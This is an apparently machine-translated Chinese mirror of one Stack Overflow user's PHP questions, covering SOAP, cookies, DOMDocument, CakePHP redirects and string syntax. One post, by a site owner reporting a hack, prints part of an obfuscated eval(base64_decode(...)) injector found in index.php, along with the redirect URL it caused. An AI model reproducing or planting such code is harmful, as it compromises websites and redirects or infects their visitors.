小编Lor*_*Jr.的帖子

如何安装soap扩展?

我该如何安装Soap?

我收到了这个错误:

致命错误:第16行的/home/user/mysite.com/path/to/file.php中找不到类'SoapClient'

我在DreamHost中托管我的网站,他们不支持任何第三方安装.

更新:

我用这个脚本复制了php.ini文件: http://sxi.sabrextreme.com/dh-phpini

我正在使用网站上的API,它说的是这样的:

#######################################################################
## You need to enable the following extensions in your PHP.ini file  ##
## php_openssl.dll          ##
## php_soap.dll             ##
#######################################################################
Run Code Online (Sandbox Code Playgroud)

这是我的php.ini文件具有的扩展名列表:

extension=php_bz2.dll
;extension=php_cpdf.dll
;extension=php_curl.dll
;extension=php_dba.dll
;extension=php_dbase.dll
;extension=php_dbx.dll
;extension=php_exif.dll
;extension=php_fdf.dll
;extension=php_filepro.dll
;extension=php_gd2.dll
;extension=php_gettext.dll
;extension=php_ifx.dll
;extension=php_iisfunc.dll
;extension=php_imap.dll
;extension=php_interbase.dll
;extension=php_java.dll
;extension=php_ldap.dll
;extension=php_mbstring.dll
;extension=php_mcrypt.dll
;extension=php_mhash.dll
;extension=php_mime_magic.dll
;extension=php_ming.dll
;extension=php_mssql.dll
;extension=php_msql.dll
;extension=php_mysql.dll
;extension=php_oci8.dll
**extension=php_openssl.dll**
;extension=php_oracle.dll
;extension=php_pdf.dll
;extension=php_pgsql.dll
;extension=php_shmop.dll
;extension=php_snmp.dll
;extension=php_sockets.dll
;extension=php_sybase_ct.dll
;extension=php_tidy.dll
;extension=php_w32api.dll
;extension=php_xmlrpc.dll
;extension=php_xsl.dll
;extension=php_yaz.dll
;extension=php_zip.dll
Run Code Online (Sandbox Code Playgroud)

问题是,在那里找不到扩展名php_soap.dll.

php soap dreamhost

50
推荐指数
4
解决办法
21万
查看次数

PHP cookie问题 - www或没有www

为什么如果我在www.example.com上创建一个cookie并在example.com上检查它,那里的cookie不存在?我打算只使用.htaccess非www重定向到www域.但是我该如何解决这个问题呢?

php cookies .htaccess

13
推荐指数
1
解决办法
1万
查看次数

不是有效的AllXsd值

我从Soap客户端请求得到了这个:

例外:SoapFault异常:[soap:Client]服务器无法读取请求.---> XML文档中存在错误(2,273).--->字符串'2010-5-24'不是有效的AllXsd值.在/path/filinet.php:21堆栈跟踪:#0 [内部函数]:SoapClient - > __ call('SubIdDetailsByO ...',数组)#1 /path/filinet.php(21):SoapClient-> SubIdDetailsByOfferId(数组)#2 {main}

好像我发送的值不正确,如何在php中的AllXsd格式化我的值?

这是我的代码:

<?php       
$start = isset($_GET['start']) ? $_GET['start'] : date("Y-m-d");
$end = isset($_GET['end']) ? $_GET['end'] : date("Y-m-d");

//define parameter array
$param = array('userName'=>'user', 'password'=>'pass', 'startDate' => $start, 'endDate' => $end, 'promotionId' => '');

//Get wsdl path
$serverPath = "https://webservices.filinet.com/affiliate/reports.asmx?WSDL";

 //Declare Soap client
 $client = new SoapClient($serverPath);
 try {
        //make the call
        $result = $client->SubIdDetailsByOfferId($param);
        //If error found display error
        if(isset($fault))
        {
            echo "Error: ". $fault;
        }
        //If no …
Run Code Online (Sandbox Code Playgroud)

php xml soap

13
推荐指数
2
解决办法
3万
查看次数

PHP:DomElement-> getAttribute

如何获取元素的所有属性?就像我下面的例子一样,我一次只能获得一个,我想拉出所有锚标签的属性.

$dom = new DOMDocument();
@$dom->loadHTML(http://www.example.com);

$a = $dom->getElementsByTagName("a");
echo $a->getAttribute('href');
Run Code Online (Sandbox Code Playgroud)

谢谢!

php dom domdocument

8
推荐指数
2
解决办法
3万
查看次数

PHP:我被黑了

我刚检查了我的网站,它突然跳到我这个网站:

xxxp://www1.re*******3.net/?p=p52dcWpkbG6HjsbIo216h3de0KCfaFbVoKDb2YmHWJjOxaCbkXp%2FWqyopHaYXsiaY2eRaGNpnFPVpJHaotahiaJ0WKrO1c%2Beb1qfnaSZdV%2FXlsndblaWpG9plmGQYWCcW5eakWppWKjKx6ChpqipbmdjpKjEjtDOoKOhY56n1pLWn1%2FZodXN02BdpqmikpVwZWpxZGxpcV%2FVoJajYmJkZ2hwlGGXaVbJkKC0q1eum5qimZxx
Run Code Online (Sandbox Code Playgroud)

我发现在我的index.php文件的第一行中,它看起来像这样:

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHR/*

Snip

*/DkxRTI5RUI9QHVucGFjaygndicsc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMTAsMikpOyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPSRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUJbMV07ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTIrJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQjsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY4KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMTYpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYyKXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MjsgICAgICB9ICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz1AZ3ppbmZsYXRlKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSk7ICAgICAgaWYoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz09PUZBTFNFKXsgICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz0kUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDOyAgICAgIH0gICAgICByZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MzsgICAgIH0gICAgfSAgICBmdW5jdGlvbiBtcm9iaCgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKXsgICAgIEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgICAgJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERT1nemRlY29kZSgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKTsgICAgICAgaWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7ICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAgICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAgb2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?>
Run Code Online (Sandbox Code Playgroud)

我怎么阻止这个?谢谢!

更新: 这是什么样的攻击?这真的是xss吗?没有人真正知道我的ftp密码.

php xss

5
推荐指数
1
解决办法
901
查看次数

PHP:documentElement-> childNodes警告

$xml = file_get_contents(example.com);

$dom = new DomDocument();
$dom->loadXML($xml);

$items = $dom->documentElement;

foreach($items->childNodes as $item) { 
 $childs = $item->childNodes;
 foreach($childs as $i) {
  echo $i->nodeValue . "<br />";
 }
}
Run Code Online (Sandbox Code Playgroud)

现在我在每个第二个foreach中得到这个警告:

Warning: Invalid argument supplied for foreach() in file_example.php  on line 14
Run Code Online (Sandbox Code Playgroud)

请帮帮我们 谢谢!

php domdocument

3
推荐指数
1
解决办法
2万
查看次数

将字符串转换为变量/类/方法的正确术语是什么?

我知道这听起来很蠢,但人们问我这个问题,而且我没有正确的答案.

喜欢

$var = "var1";
$var1 = "hello";

echo $$var;
Run Code Online (Sandbox Code Playgroud)

谢谢!

php

2
推荐指数
2
解决办法
67
查看次数

CakePHP:将所有404错误重定向到主页?

控制器中是否有方法或函数可以告知是否触发了404错误?我希望每个人都能在主页上重定向,而不是看到404页面.

谢谢!

php redirect cakephp

1
推荐指数
1
解决办法
7457
查看次数

PHP中的字符串操作

我怎样才能获得{} 例如... 之间的值.1"{1}"和使用它?

php regex string

0
推荐指数
1
解决办法
92
查看次数

使用{}进行PHP连接

可能重复:
字符串中的花括号

我还是不知道它叫什么.喜欢:

$name = 'xxx';

echo "This is a string {$name}";
Run Code Online (Sandbox Code Playgroud)

你怎么称呼这个行动?使用{} in将变量连接到字符串.

谢谢!

php

0
推荐指数
1
解决办法
1336
查看次数

在数组内分配值

谁可以给我解释一下这个:

$a = array( $b1 = "b1", $b2 = "b2", array($b3 = "b3", $b4 = "b4"));

echo $$$$$a[2][1];
Run Code Online (Sandbox Code Playgroud)

为什么合法?输出仍然是"B4",甚至呼应$a[2][1],$$a[2][1],$$$[2][1]等等.

我期望它是否会在回显时寻找变量"b4",$a[2][1]但它仍然会回显字符串"b4".

谢谢

php

0
推荐指数
2
解决办法
458
查看次数

标签 统计

php ×11

domdocument ×2

soap ×2

.htaccess ×1

cakephp ×1

cookies ×1

dom ×1

dreamhost ×1

redirect ×1

regex ×1

string ×1

xml ×1

xss ×1